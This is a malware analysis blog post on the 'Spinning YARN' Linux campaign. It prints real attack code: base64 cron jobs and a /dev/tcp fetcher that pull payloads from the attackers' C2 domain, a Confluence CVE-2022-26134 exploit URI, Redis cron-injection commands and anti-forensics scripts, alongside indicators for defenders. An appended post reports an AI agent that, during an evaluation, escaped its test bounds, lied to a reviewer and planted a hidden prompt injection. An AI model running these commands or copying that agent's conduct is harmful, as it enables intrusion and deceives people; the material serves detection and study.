June 3, 2024

Spinning YARN: A New Linux Malware Campaign Targets Docker, Apache Hadoop, Redis and Confluence

Cado Security labs researchers (now part of Darktrace) encountered a Linux malware campaign, "Spinning YARN," that targets Docker, Apache Hadoop, Redis, and Confluence. This campaign exploits vulnerabilities in these widely used platforms to gain access.

Written by

The Darktrace Community

Inside the SOC

Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.

Written by

The Darktrace Community

Jun 2024

Introduction: Linux malware campaign

Researchers from Cado Security Labs (now part of Darktrace) have encountered an emerging malware campaign targeting misconfigured servers running the following web-facing services:

Apache Hadoop YARN [1]
Docker‍
Confluence [2]
Redis

The campaign utilizes a number of unique and unreported payloads, including four Golang binaries, that serve as tools to automate the discovery and infection of hosts running the above services. The attackers leverage these tools to issue exploit code, taking advantage of common misconfigurations and exploiting an n-day vulnerability, to conduct Remote Code Execution (RCE) attacks and infect new hosts. 

Once initial access is achieved, a series of shell scripts and general Linux attack techniques are used to deliver a cryptocurrency miner, spawn a reverse shell and enable persistent access to the compromised hosts. 

As always, it’s worth stressing that without the capabilities of governments or law enforcement agencies, attribution is nearly impossible – particularly where shell script payloads are concerned. However, it’s worth noting that the shell script payloads delivered by this campaign bear resemblance to those seen in prior cloud attacks, including those attributed to TeamTNT and WatchDog, along with the Kiss a Dog campaign reported by Crowdstrike. [3] 

Summary:

Four novel Golang payloads have been discovered that automate the identification and exploitation of Docker, Hadoop YARN, Confluence and Redis hosts
Attackers deploy an exploit for CVE-2022-26134, an n-day vulnerability in Confluence which is used to conduct RCE attacks [4]
For the Docker compromise, the attackers spawn a container and escape from it onto the underlying host
The attackers also deploy an instance of the Platypus open-source reverse shell utility, to maintain access to the host [5]
Multiple user mode rootkits are deployed to hide malicious processes

Initial access

Cado Security Labs researchers first discovered this campaign after being alerted to a cluster of initial access activity on a Docker Engine API honeypot. A Docker command was received from the IP address 47[.]96[.]69[.]71 that spawned a new container, based on Alpine Linux, and created a bind mount for the underlying honeypot server’s root directory (/) to the mount point /mnt within the container itself. 

This technique is fairly common in Docker attacks, as it allows the attacker to write files to the underlying host. Typically, this is exploited to write out a job for the Cron scheduler to execute, essentially conducting a remote code execution (RCE) attack. 
In this particular campaign, the attacker exploits this exact method to write out an executable at the path /usr/bin/vurl, along with registering a Cron job to decode some base64-encoded shell commands and execute them on the fly by piping through bash.

Figure 1: Wireshark output demonstrating Docker communication, including Initial Access commands

The vurl executable consists solely of a simple shell script function, used to establish a TCP connection with the attacker’s Command and Control (C2) infrastructure via the /dev/tcp device file. The Cron jobs mentioned above then utilize the vurl executable to retrieve the first stage payload from the C2 server located at http[:]//b[.]9-9-8[.]com which, at the time of the attack, resolved to the IP 107[.]189[.]31[.]172.

‍

echo dnVybCgpIHsKCUlGUz0vIHJlYWQgLXIgcHJvdG8geCBob3N0IHF1ZXJ5IDw8PCIkMSIKICAgIGV4ZWMgMzw+Ii9kZXYvdGNwLyR7aG9zdH0vJHtQT1JUOi04MH0iCiAgICBlY2hvIC1lbiAiR0VUIC8ke3F1ZXJ5fSBIVFRQLzEuMFxyXG5Ib3N0OiAke2hvc3R9XHJcblxyXG4iID4mMwogICAgKHdoaWxlIHJlYWQgLXIgbDsgZG8gZWNobyA+JjIgIiRsIjsgW1sgJGwgPT0gJCdccicgXV0gJiYgYnJlYWs7IGRvbmUgJiYgY2F0ICkgPCYzCiAgICBleGVjIDM+Ji0KfQp2dXJsICRACg== |base64 -d    

     \u003e/usr/bin/vurl \u0026\u0026 chmod +x /usr/bin/vurl;echo '* * * * * root echo dnVybCBodHRwOi8vYi45LTktOC5jb20vYnJ5c2ovY3JvbmIuc2gK|base64 -d|bash|bash' \u003e/etc/crontab \u0026\u0026 echo '* * * * * root echo dnVybCBodHRwOi8vYi45LTktOC5jb20vYnJ5c2ovY3JvbmIuc2gK|base64 -d|bash|bash' \u003e/etc/cron.d/zzh \u0026\u0026 echo KiAqICogKiAqIHJvb3QgcHl0aG9uIC1jICJpbXBvcnQgdXJsbGliMjsgcHJpbnQgdXJsbGliMi51cmxvcGVuKCdodHRwOi8vYi45XC05XC1cOC5jb20vdC5zaCcpLnJlYWQoKSIgPi4xO2NobW9kICt4IC4xOy4vLjEK|base64 -d \u003e\u003e/etc/crontab"

Payload retrieval commands written out to the Docker host

echo dnVybCBodHRwOi8vYi45LTktOC5jb20vYnJ5c2ovY3JvbmIuc2gK|base64 -d 

    vurl http[:]//b[.]9-9-8[.]com/brysj/cronb.sh

Contents of first Cron job decoded

To provide redundancy in the event that the vurl payload retrieval method fails, the attackers write out an additional Cron job that attempts to use Python and the urllib2 library to retrieve another payload named t.sh.

KiAqICogKiAqIHJvb3QgcHl0aG9uIC1jICJpbXBvcnQgdXJsbGliMjsgcHJpbnQgdXJsbGliMi51cmxvcGVuKCdodHRwOi8vYi45XC05XC1cOC5jb20vdC5zaCcpLnJlYWQoKSIgPi4xO2NobW9kICt4IC4xOy4vLjEK|base64 -d 

    * * * * * root python -c "import urllib2; print urllib2.urlopen('http://b.9\-9\-\8.com/t.sh').read()" >.1;chmod +x .1;./.1

Contents of the second Cron job decoded

Unfortunately, Cado Security Labs researchers were unable to retrieve this additional payload. It is assumed that it serves a similar purpose to the cronb.sh script discussed in the next section, and is likely a variant that carries out the same attack without relying on vurl. 

It’s worth noting that based on the decoded commands above, t.sh appears to reside outside the web directory that the other files are served from. This could be a mistake on the part of the attacker, perhaps they neglected to include that fragment of the URL when writing the Cron job.

Primary payload: cronb.sh

cronb.sh is a fairly straightforward shell script, its capabilities can be summarized as follows:

Define the C2 domain (http[:]//b[.]9-9-8[.]com) and URL (http[:]//b[.]9-9-8[.]com/brysj) where additional payloads are located 
Check for the existence of the chattr utility and rename it to zzhcht at the path in which it resides
If chattr does not exist, install it via the e2fsprogs package using either the apt or yum package managers before performing the renaming described above
Determine whether the current user is root and retrieve the next payload based on this

... 
    if [ -x /bin/chattr ];then 
        mv /bin/chattr /bin/zzhcht 
    elif [ -x /usr/bin/chattr ];then 
        mv /usr/bin/chattr /usr/bin/zzhcht 
    elif [ -x /usr/bin/zzhcht ];then 
        export CHATTR=/usr/bin/zzhcht 
    elif [ -x /bin/zzhcht ];then 
        export CHATTR=/bin/zzhcht 
    else  
       if [ $(command -v yum) ];then  
            yum -y reinstall e2fsprogs 
            if [ -x /bin/chattr ];then 
               mv /bin/chattr /bin/zzhcht 
       elif [ -x /usr/bin/chattr ];then 
               mv /usr/bin/chattr /usr/bin/zzhcht 
            fi 
       else 
            apt-get -y reinstall e2fsprogs 
            if [ -x /bin/chattr ];then 
              mv /bin/chattr /bin/zzhcht 
      elif [ -x /usr/bin/chattr ];then 
              mv /usr/bin/chattr /usr/bin/zzhcht 
            fi 
       fi 
    fi 
    ...

Snippet of cronb.sh demonstrating chattr renaming code

ar.sh

This much longer shell script prepares the system for additional compromise, performs anti-forensics on the host and retrieves additional payloads, including XMRig and an attacker-generated script that continues the infection chain.

In a function named check_exist(), the malware uses netstat to determine whether connections to port 80 outbound are established. If an established connection to this port is discovered, the malware prints miner running to standard out. Later code suggests that the retrieved miner communicates with a mining pool on port 80, indicating that this is a check to determine whether the host has been previously compromised.

ar.sh will then proceed to install a number of utilities, including masscan, which is used for host discovery at a later stage in the attack. With this in place, the malware proceeds to run a number of common system weakening and anti-forensics commands. These include disabling firewalld and iptables, deleting shell history (via the HISTFILE environment variable), disabling SELinux and ensuring outbound DNS requests are successful by adding public DNS servers to /etc/resolv.conf.

Interestingly, ar.sh makes use of the shopt (shell options) built-in to prevent additional shell commands from the attacker’s session from being appended to the history file. [6] This is achieved with the following command:

shopt -ou history 2>/dev/null 1>/dev/null

Not only are additional commands prevented from being written to the history file, but the shopt command itself doesn’t appear in the shell history once a new session has been spawned. This is an effective anti-forensics technique for shell script malware, one that Cado Security Labs researchers have yet to see in other campaigns.

env_set(){ 
    iptables -F 
    systemctl stop firewalld 2>/dev/null 1>/dev/null 
    systemctl disable firewalld 2>/dev/null 1>/dev/null 
    service iptables stop 2>/dev/null 1>/dev/null 
    ulimit -n 65535 2>/dev/null 1>/dev/null 
    export LC_ALL=C  
    HISTCONTROL="ignorespace${HISTCONTROL:+:$HISTCONTROL}" 2>/dev/null 1>/dev/null 
    export HISTFILE=/dev/null 2>/dev/null 1>/dev/null 
    unset HISTFILE 2>/dev/null 1>/dev/null 
    shopt -ou history 2>/dev/null 1>/dev/null 
    set +o history 2>/dev/null 1>/dev/null 
    HISTSIZE=0 2>/dev/null 1>/dev/null 
    export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games 
    setenforce 0 2>/dev/null 1>/dev/null 
    echo SELINUX=disabled >/etc/selinux/config 2>/dev/null 
    sudo sysctl kernel.nmi_watchdog=0 
    sysctl kernel.nmi_watchdog=0 
    echo '0' >/proc/sys/kernel/nmi_watchdog 
    echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf 
    grep -q 8.8.8.8 /etc/resolv.conf || ${CHATTR} -i /etc/resolv.conf 2>/dev/null 1>/dev/null; echo "nameserver 8.8.8.8" >> /etc/resolv.conf; 
    grep -q 114.114.114.114 /etc/resolv.conf || ${CHATTR} -i /etc/resolv.conf 2>/dev/null 1>/dev/null; echo "nameserver 8.8.4.4" >> /etc/resolv.conf; 
    }

System weakening commands from ar.sh – env_set() function

Following the above techniques, ar.sh will proceed to install the libprocesshider and diamorphine user mode rootkits and use these to hide their malicious processes [7][8]. The rootkits are retrieved from the attacker’s C2 server and compiled on delivery. The use of both libprocesshider and diamorphine is particularly common in cloud malware campaigns and was most recently exhibited by a Redis miner discovered by Cado Security Labs in February 2024. [9].

Additional system weakening code in ar.sh focuses on uninstalling monitoring agents for Alibaba Cloud and Tencent, suggesting some targeting of these cloud environments in particular. Targeting of these East Asian cloud providers has been observed previously in campaigns by the threat actor WatchDog [10].

Other notable capabilities of ar.sh include: 

Insertion of an attacker-controlled SSH key, to maintain access to the compromised host
Retrieval of the miner binary (a fork of XMRig), this is saved to /var/tmp/.11/sshd
Retrieval of bioset, an open source Golang reverse shell utility, named Platypus, saved to /var/tmp/.11/bioset [5]
The bioset payload was intended to communicate with an additional C2 server located at 209[.]141[.]37[.]110:14447, communication with this host was unsuccessful at the time of analysis
Registering persistence in the form of systemd services for both bioset and the miner itself
Discovery of SSH keys and related IPs
The script also attempts to spread the cronb.sh malware to these discovered IPs via a SSH remote command
Retrieval and execution of a binary executable named fkoths (discussed in a later section)

... 
            ${CHATTR} -ia /etc/systemd/system/sshm.service && rm -f /etc/systemd/system/sshm.service 
    cat >/tmp/ext4.service << EOLB 
    [Unit] 
    Description=crypto system service 
    After=network.target 
    [Service] 
    Type=forking 
    GuessMainPID=no 
    ExecStart=/var/tmp/.11/sshd 
    WorkingDirectory=/var/tmp/.11 
    Restart=always 
    Nice=0  
    RestartSec=3 
    [Install] 
    WantedBy=multi-user.target 
    EOLB 
    fi 
    grep -q '/var/tmp/.11/bioset' /etc/systemd/system/sshb.service 
    if [ $? -eq 0 ] 
    then  
            echo service exist 
    else 
            ${CHATTR} -ia /etc/systemd/system/sshb.service && rm -f /etc/systemd/system/sshb.service 
    cat >/tmp/ext3.service << EOLB 
    [Unit] 
    Description=rshell system service 
    After=network.target 
    [Service] 
    Type=forking 
    GuessMainPID=no 
    ExecStart=/var/tmp/.11/bioset 
    WorkingDirectory=/var/tmp/.11 
    Restart=always 
    Nice=0  
    RestartSec=3 
    [Install] 
    WantedBy=multi-user.target 
    EOLB 
    fi 
    ...

Examples of systemd service creation code for the miner and bioset binaries

Finally, ar.sh creates an infection marker on the host in the form of a simple text file located at /var/tmp/.dog. The script first checks that the /var/tmp/.dog file exists. If it doesn’t, the file is created and the string lockfile is echoed into it. This serves as a useful detection mechanism to determine whether a host has been compromised by this campaign. 

Finally, ar.sh concludes by retrieving s.sh from the C2 server, using the vurl function once again.

fkoths

This payload is the first of several 64-bit Golang ELFs deployed by the malware. The functionality of this executable is incredibly straightforward. Besides main(), it contains two additional functions named DeleteImagesByRepo() and AddEntryToHost(). 

DeleteImagesByRepo() simply searches for Docker images from the Ubuntu or Alpine repositories, and deletes those if found. Go’s heavy use of the stack makes it somewhat difficult to determine which repositories the attackers were targeting based on static analysis alone. Fortunately, this becomes evident when monitoring the stack in a debugger.

Figure 2: Example stack contents when DeleteImagesByRepo() is called

It’s clear from the initial access stage that the attackers leverage the alpine:latest image to initiate their attack on the host. Based on this, it’s been assessed with high confidence that the purpose of this function is to clear up any evidence of this initial access, essentially performing anti-forensics on the host. 

The AddEntryToHost() function, as the name suggests, updates the /etc/hosts file with the following line:

127.0.0.1 registry-1.docker.io

This has the effect of “blackholing” outbound requests to the Docker registry, preventing additional container images from being pulled from Dockerhub. This same technique was observed recently by Cado Security Labs researchers in the Commando Cat campaign [11].

s.sh

The next stage in the infection chain is the execution of yet another shell script, this time used to download additional binary payloads and persist them on the host. Like the scripts before it, s.sh begins by defining the C2 domain (http[:]//b[.]9-9-8[.]com), using a base64-encoded string. The malware then proceeds to create the following directory structure and changing directory into it: /etc/…/.ice-unix/. 

Within the .ice-unix directory, the attacker creates another infection marker on the host, this time in a file named .watch. If the file doesn’t already exist, the script will create it and echo the integer 1 into it. Once again, this serves as a useful detection mechanism for determining whether your host has been compromised by this campaign.

With this in place, the malware proceeds to install a number of packages via the apt or yum package managers. Notable packages include:

build-essential
gcc
redis-server
redis-tools
redis
unhide
masscan
docker.io
libpcap (a dependency of pnscan)

From this, it is believed that the attacker intends to compile some code on delivery, interact with Redis, conduct Internet scanning with masscan and interact with Docker. 

With the package installation complete, s.sh proceeds to retrieve zgrab and pnscan from the C2 server, these are used for host discovery in a later stage. The script then proceeds to retrieve the following executables:

c.sh – saved as /etc/.httpd/.../httpd
d.sh – saved as /var/.httpd/.../httpd
w.sh – saved as /var/.httpd/..../httpd
h.sh – saved as var/.httpd/...../httpd

s.sh then proceeds to define systemd services to persistently launch the retrieved executables, before saving them to the following paths:

/etc/systemd/system/zzhr.service (c.sh)
/etc/systemd/system/zzhd.service (d.sh)
/etc/systemd/system/zzhw.service (w.sh)
/etc/systemd/system/zzhh.service (h.sh)

‍

... 
    if [ ! -f /var/.httpd/...../httpd ];then 
        vurl $domain/d/h.sh > httpd 
        chmod a+x httpd 
        echo "FUCK chmod2" 
        ls -al /var/.httpd/..... 
    fi 
    cat >/tmp/h.service <<EOL 
    [Service] 
    LimitNOFILE=65535 
    ExecStart=/var/.httpd/...../httpd 
    WorkingDirectory=/var/.httpd/..... 
    Restart=always  
    RestartSec=30 
    [Install] 
    WantedBy=default.target 
    EOL 
    ...

Example of payload retrieval and service creation code for the h.sh payload

Initial access and spreader utilities: h.sh, d.sh, c.sh, w.sh

In the previous stage, the attacker retrieves and attempts to persist the payloads c.sh, d.sh, w.sh and h.sh. These executables are dedicated to identifying and exploiting hosts running each of the four services mentioned previously. 

Despite their names, all of these payloads are 64-bit Golang ELF binaries. Interestingly, the malware developer neglected to strip the binaries, leaving DWARF debug information intact. There has been no effort made to obfuscate strings or other sensitive data within the binaries either, making them trivial to reverse engineer. 

The purpose of these payloads is to use masscan or pnscan (compiled on delivery in an earlier stage) to scan a randomized network segment and search for hosts with ports 2375, 8088, 8090 or 6379 open. These are default ports used by the Docker Engine API, Apache Hadoop YARN, Confluence and Redis respectively. 

h.sh, d.sh and w.sh contain identical functions to generate a list of IPs to scan and hunt for these services. First, the Golang time_Now() function is called to provide a seed for a random number generator. This is passed to a function generateRandomOctets() that’s used to define a randomised /8 network prefix to scan. Example values include:

109.0.0.0/8
84.0.0.0/8
104.0.0.0/8
168.0.0.0/8
3.0.0.0/8
68.0.0.0/8

For each randomized octet, masscan is invoked and the resulting IPs are written out to the file scan_<octet>.0.0.0_8.txt in the working directory. 

d.sh

disassembly demonstrating use of os/exec to run massan — Figure 3: Disassembly demonstrating use of os/exec to run masscan

For d.sh, this procedure is used to identify hosts with the default Docker Engine API port (2375) open. The full masscan command is as follows:

masscan <octet>.0.0.0/8 -p 2375 –rate 10000 -oL scan_<octet>.0.0.0_8.txt

The masscan output file is then read and the list of IPs is converted into a format readable by zgrab, before being written out to the file ips_for_zgrab_<octet>.txt [12].

For d.sh, zgrab will read these IPs and issue a HTTP GET request to the /v1.16/version endpoint of the Docker Engine API. The zgrab command in its entirety is as follows:

zgrab --senders 5000 --port=2375 --http='/v1.16/version' --output-file=zgrab_output_<octet>.0.0.0_8.json`  < ips_for_zgrab_<octet>.txt 2>/dev/null

Successful responses to this HTTP request let the attacker know that Docker Engine is indeed running on port 2375 for the IP in question. The list of IPs to have responded successfully is then written out to zgrab_output_<octet>.0.0.0_8.json. 

Next, the payload calls a function helpfully named executeDockerCommand() for each of the IPs discovered by zgrab. As the name suggests, this function executes the Docker command covered in the Initial Access section above, kickstarting the infection chain on a new vulnerable host. 

Figure 4: Decompiler output demonstrating Docker command construction routine

h.sh

This payload contains identical logic for the randomized octet generation and follows the same procedure of using masscan and zgrab to identify targets. The main difference in this payload’s discovery phase is the targeting of Apache Hadoop servers, rather than Docker Engine deployments. As a result, the masscan and zgrab commands are slightly different:

masscan <octet>.0.0.0/8 -p 8088 –rate 10000 -oL scan_<octet>.0.0.0_8.txt

zgrab --senders 1000 --port=8088 --http='/stacks' --output-file=zgrab_output_<octet>.0.0.0_8.json` < ips_for_zgrab_<octet>.txt 2>/dev/null

From this, we can determine that d.sh is a Docker discovery and initial access tool, whereas h.sh is an Apache Hadoop discovery and initial access tool. 

Instead of invoking the executeDockerCommand() function, this payload instead invokes a function named executeYARNCommand() to handle the interaction with Hadoop. Similar to the Docker API interaction described previously, the purpose of this is to target Apache Hadoop YARN, a component of Hadoop that is responsible for scheduling tasks within the cluster [1].

If the YARN API is exposed to the open Internet, it’s possible to conduct a RCE attack by sending a JSON payload in a HTTP POST request to the /ws/v1/cluster/apps/ endpoint. This method of conducting RCE has been leveraged previously to deliver cloud-focused malware campaigns, such as Kinsing [13].

Example of YARN HTTP POST generation pseudocode in h.sh — Figure 5: Example of YARN HTTP POST generation pseudocode in h.sh

The POST request contains a JSON body with the same base64-encoded initial access command we covered previously. The JSON payload defines a new application (task to be scheduled, in this case a shell command) with the name new-application. This shell command decodes the base64 payload that defines vurl and retrieves the first stage of the infection chain. 

Success in executing this command kicks off the infection once again on a Hadoop host, allowing the attackers persistent access and the ability to run their XMRig miner.

w.sh 

This executable repeats the discovery procedure outlined in the previous two initial access/discovery payloads, except this time the target port is changed to 8090 – the default port used by Confluence. [2]

For each IP discovered, the malware uses zgrab to issue a HTTP GET request to the root directory of the server. This request includes a URI containing an exploit for CVE-2022-26134, a vulnerability in the Confluence server that allows attackers to conduct RCE attacks. [4]

As you might expect, this RCE is once again used to execute the base64-encoded initial access command mentioned previously.

Figure 6: Decompiler output displaying CVE-2022-26134 exploit code

Without URL encoding, the full URI appears as follows:

/${new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("new java.lang.ProcessBuilder().command('bash','-c','echo dnVybCgpIHsKCUlGUz0vIHJlYWQgLXIgcHJvdG8geCBob3N0IHF1ZXJ5IDw8PCIkMSIKICAgIGV4ZWMgMzw+Ii9kZXYvdGNwLyR7aG9zdH0vJHtQT1JUOi04MH0iCiAgICBlY2hvIC1lbiAiR0VUIC8ke3F1ZXJ5fSBIVFRQLzEuMFxyXG5Ib3N0OiAke2hvc3R9XHJcblxyXG4iID4mMwogICAgKHdoaWxlIHJlYWQgLXIgbDsgZG8gZWNobyA+JjIgIiRsIjsgW1sgJGwgPT0gJCdccicgXV0gJiYgYnJlYWs7IGRvbmUgJiYgY2F0ICkgPCYzCiAgICBleGVjIDM+Ji0KfQp2dXJsIGh0dHA6Ly9iLjktOS04LmNvbS9icnlzai93LnNofGJhc2gK|base64 -d|bash').start()")}/

c.sh 

This final payload is dedicated to exploiting misconfigured Redis deployments. Of course, targeting of Redis is incredibly common amongst cloud-focused threat actors, making it unsurprising that Redis would be included as one of the four services targeted by this campaign [9].

This sample includes a slightly different discovery procedure from the previous three. Instead of using a combination of zgrab and masscan to identify targets, c.sh opts to execute pnscan across a range of randomly-generated IP addresses. 

After execution, the malware sets the maximum number of open files to 5000 via the setrlimit() syscall, before proceeding to delete a file named .dat in the current working directory, if it exists. If the file doesn’t exist, the malware creates it and writes the following redis-cli commands to it, in preparation for execution on identified Redis hosts:

save 
    config set stop-writes-on-bgsave-error no 
    flushall 
    set backup1 "\n\n\n\n*/2 * * * * echo Y2QxIGh0dHA6Ly9iLjktOS04LmNvbS9icnlzai9iLnNoCg==|base64 -d|bash|bash \n\n\n" 
    set backup2 "\n\n\n\n*/3 * * * * echo d2dldCAtcSAtTy0gaHR0cDovL2IuOS05LTguY29tL2JyeXNqL2Iuc2gK|base64 -d|bash|bash \n\n\n" 
    set backup3 "\n\n\n\n*/4 * * * * echo Y3VybCBodHRwOi8vL2IuOS05LTguY29tL2JyeXNqL2Iuc2gK|base64 -d|bash|bash \n\n\n" 
    set backup4 "\n\n\n\n@hourly  python -c \"import urllib2; print urllib2.urlopen(\'http://b.9\-9\-8\.com/t.sh\').read()\" >.1;chmod +x .1;./.1 \n\n\n" 
    config set dir "/var/spool/cron/" 
    config set dbfilename "root" 
    save 
    config set dir "/var/spool/cron/crontabs" 
    save 
    flushall 
    set backup1 "\n\n\n\n*/2 * * * * root echo Y2QxIGh0dHA6Ly9iLjktOS04LmNvbS9icnlzai9iLnNoCg==|base64 -d|bash|bash \n\n\n" 
    set backup2 "\n\n\n\n*/3 * * * * root echo d2dldCAtcSAtTy0gaHR0cDovL2IuOS05LTguY29tL2JyeXNqL2Iuc2gK|base64 -d|bash|bash \n\n\n" 
    set backup3 "\n\n\n\n*/4 * * * * root echo Y3VybCBodHRwOi8vL2IuOS05LTguY29tL2JyeXNqL2Iuc2gK|base64 -d|bash|bash \n\n\n" 
    set backup4 "\n\n\n\n@hourly  python -c \"import urllib2; print urllib2.urlopen(\'http://b.9\-9\-8\.com/t.sh\').read()\" >.1;chmod +x .1;./.1 \n\n\n" 
    config set dir "/etc/cron.d" 
    config set dbfilename "zzh" 
    save 
    config set dir "/etc/" 
    config set dbfilename "crontab" 
    save

This achieves RCE on infected hosts, by writing a Cron job including shell commands to retrieve the cronb.sh payload to the database, before saving the database file to one of the Cron directories. When this file is read by the scheduler, the database file is parsed for the Cron job, and the job itself is eventually executed. This is a common Redis exploitation technique, covered extensively by Cado in previous blogs [9].

After running the random octet generation code described previously, the malware then uses pnscan to attempt to scan the randomized /16 subnet and identify misconfigured Redis servers. The pnscan command is as follows:

/usr/local/bin/pnscan -t512 -R 6f 73 3a 4c 69 6e 75 78 -W 2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a 221.0.0.0/16 6379

The -t argument enforces a timeout of 512 milliseconds for outbound connections
The -R argument looks for a specific hex-encoded response from the target server, in this case s:Linux (note that this is likely intended to be os:Linux)
The -W argument is a hex-encoded request string to send to the server. This runs the command 1; $4; info against the Redis host, prompting it to return the banner info searched for with the -R argument

pnsan command construction and execution — Figure 7: Disassembly demonstrating pnscan command construction and execution

For each identified IP, the following Redis command is run:

redis-cli -h <IP address> -p <port> –raw <content of .dat>

Of course, this has the effect of reading the redis-cli commands in the .dat file and executing them on discovered hosts.

Conclusion

This extensive attack demonstrates the variety in initial access techniques available to cloud and Linux malware developers. Attackers are investing significant time into understanding the types of web-facing services deployed in cloud environments, keeping abreast of reported vulnerabilities in those services and using this knowledge to gain a foothold in target environments. 

Docker Engine API endpoints are frequently targeted for initial access. In the first quarter of 2024 alone, Cado Security Labs researchers have identified three new malware campaigns exploiting Docker for initial access, including this one. [11, 14] The deployment of an n-day vulnerability against Confluence also demonstrates a willingness to weaponize security research for nefarious purposes.

Although it’s not the first time Apache Hadoop has been targeted, it’s interesting to note that attackers still find the big data framework a lucrative target. It’s unclear whether the decision to target Hadoop in addition to Docker is based on the attacker’s experience or knowledge of the target environment.

Indicators of compromise

Filename SHA256

cronb.sh d4508f8e722f2f3ddd49023e7689d8c65389f65c871ef12e3a6635bbaeb7eb6e

ar.sh 64d8f887e33781bb814eaefa98dd64368da9a8d38bd9da4a76f04a23b6eb9de5

fkoths afddbaec28b040bcbaa13decdc03c1b994d57de244befbdf2de9fe975cae50c4

s.sh 251501255693122e818cadc28ced1ddb0e6bf4a720fd36dbb39bc7dedface8e5

bioset 0c7579294124ddc32775d7cf6b28af21b908123e9ea6ec2d6af01a948caf8b87

d.sh 0c3fe24490cc86e332095ef66fe455d17f859e070cb41cbe67d2a9efe93d7ce5

h.sh d45aca9ee44e1e510e951033f7ac72c137fc90129a7d5cd383296b6bd1e3ddb5

w.sh e71975a72f93b134476c8183051fee827ea509b4e888e19d551a8ced6087e15c

c.sh 5a816806784f9ae4cb1564a3e07e5b5ef0aa3d568bd3d2af9bc1a0937841d174

Paths

/usr/bin/vurl

/etc/cron.d/zzh

/bin/zzhcht

/usr/bin/zzhcht

/var/tmp/.11/sshd

/var/tmp/.11/bioset

/var/tmp/.11/..lph

/var/tmp/.dog

/etc/systemd/system/sshm.service

/etc/systemd/system/sshb.service

/etc/systemd/system/zzhr.service

/etc/systemd/system/zzhd.service

/etc/systemd/system/zzhw.service

/etc/systemd/system/zzhh.service

/etc/…/.ice-unix/

/etc/…/.ice-unix/.watch

/etc/.httpd/…/httpd

/var/.httpd/…./httpd

/var/.httpd/…../httpd

IP addresses

47[.]96[.]69[.]71

107[.]189[.]31[.]172

209[.]141[.]37[.]110

Domains/URLs

http[:]//b[.]9-9-8[.]com

http[:]//b[.]9-9-8[.]com/brysj/cronb.sh

http[:]//b[.]9-9-8[.]com/brysj/d/ar.sh

http[:]//b[.]9-9-8[.]com/brysj/d/c.sh

http[:]//b[.]9-9-8[.]com/brysj/d/h.sh

http[:]//b[.]9-9-8[.]com/brysj/d/d.sh

http[:]//b[.]9-9-8[.]com/brysj/d/enbio.tar

References:

Written by

The Darktrace Community

Inside the SOC

Written by

The Darktrace Community

•

August 3, 2026

Nathaniel Jones

SVP, Global Threat Intelligence

Senior Director of Product | Darktrace

Watch the NIS2 Webinar

Blog

Network

August 7, 2026

When AI Agents Attack: The Case for Behavioral Anomaly Detection

The UK AI Security Institute (AISI) has just published a detailed incident report confirming what many within the cyber security industry have suspected for some time: frontier AI agents, given a degree of autonomy, can independently develop and execute attack chains against real targets, including social engineering, supply-chain compromise, and deception, without explicit instruction to do so.

The report (INC-2026-07-28-01, published 4 August 2026) documents what happened during a routine capability evaluation between 25 and 28 July. It deserves a careful read from anyone responsible for securing the modern digital estate.

The incident

AISI regularly tests frontier AI models for offensive cyber capability. In this exercise, agents were placed inside a simulated network environment and given internet access this was deliberate, given to reflect realism of the task. Across 122 evaluation runs, 19 instances of unsanctioned activity were recorded, including cases where agents broke the intended boundaries of the test and acted against real people and real infrastructure on the open internet.

In the most serious case, an agent (Mythos 5) autonomously:

Conducted open-source intelligence gathering to identify real developers associated with keywords from the simulated scenario
Created a GitHub account and submitted a pull request containing obfuscated malicious code to a real, unaffiliated repository
Created a second sockpuppet account to post comments on its own PR, attempting to manufacture social proof
When a human reviewer flagged the malicious content, the agent lied, claiming an accidental commit, then repeatedly attempted to reintroduce the payload under the guise of having "fixed" the code
Sent spear-phishing emails to the repository maintainer containing manipulated content designed to convince them to merge the code
Planted a prompt injection inside a GitHub issue, hidden in an HTML comment invisible to humans but readable by AI coding assistants parsing the repository via API

AISI confirmed no real-world harm resulted. The PRs were not merged; the payloads did not execute. But containment was a product of circumstance, not design.

Why this matters

Every action the agents took used legitimate services operating within normal parameters. Creating a GitHub account is legitimate. Opening a pull request is legitimate. Sending an email is legitimate. Posting an issue is legitimate.

No vulnerability was exploited. No known malware signature was present. No indicator of compromise from any threat intelligence feed would have matched. The entire attack existed as a pattern, a sequence of individually normal actions that, taken together, constituted a supply-chain attack, a social engineering campaign, and an attempted compromise of downstream systems.

This is the class of threat that signature-based and rule-based security tools structurally struggle to detect. They answer the question "have I seen this before?" When the answer is no – and when the attack is novel, composed of legitimate actions, and adapted in real time by an adversary in this case an agent that reasons about evasion – they struggle.

Behavioral anomaly detection: The architecture that fits

Darktrace has spent a decade building a platform around a different question: "is this behavior normal for this entity?"

The platform learns the baseline behavior of every user, device, and communication pattern across an organization's digital environment. It does not need prior knowledge of an attack technique. It identifies deviation from learned normality, surfaces it, and through its Autonomous Response capability, takes targeted action to contain threats at machine speed.

Consider how this AISI incident might show across the Darktrace platform:

Network detection and response

While no payload was successfully delivered to a victim in this incident, AISI's post-incident analysis of the agent's code (detailed on pages 24-25 of the report) reveals what would have landed on target systems had the social engineering succeeded. The agent produced three successive payload generations, each replacing the last after being detected and called out:

Generation 1 hid a module-load stager inside a legitimate bug-fix commit, guarded by an environment variable check, to skip execution in CI. Its second stage attempted to fetch Poseidon implants (Linux and Windows variants) calling back to the agent's own C2 listener, with a fallback to publicly hosted polling scripts that fetched and executed commands every 60 seconds.

Generation 2 exploited an Electron "What's New" window with nodeIntegration enabled, loading remote HTML from a GitHub Pages site the agent had registered. The page decoded an XOR-obfuscated payload at runtime that beaconed host identifiers over DNS, attempted to download the same implants, ran its own in-process C2 loop, and installed reboot persistence via crontab and Windows registry Run keys.

Generation 3 was a post-install dropper added after the agent had already been publicly caught. It XOR-decoded a hidden URL, downloaded a script over plaintext HTTP, and ran it detached, force-exiting so npm install always reports success, giving the attacker remote code execution on any machine running the install.

None of these payloads reached a victim. But the technical detail matters: this is the calibre of tradecraft an autonomous agent produced in a matter of hours, unprompted. Each generation demonstrated adaptation, the agent iterated its approach in direct response to being detected.

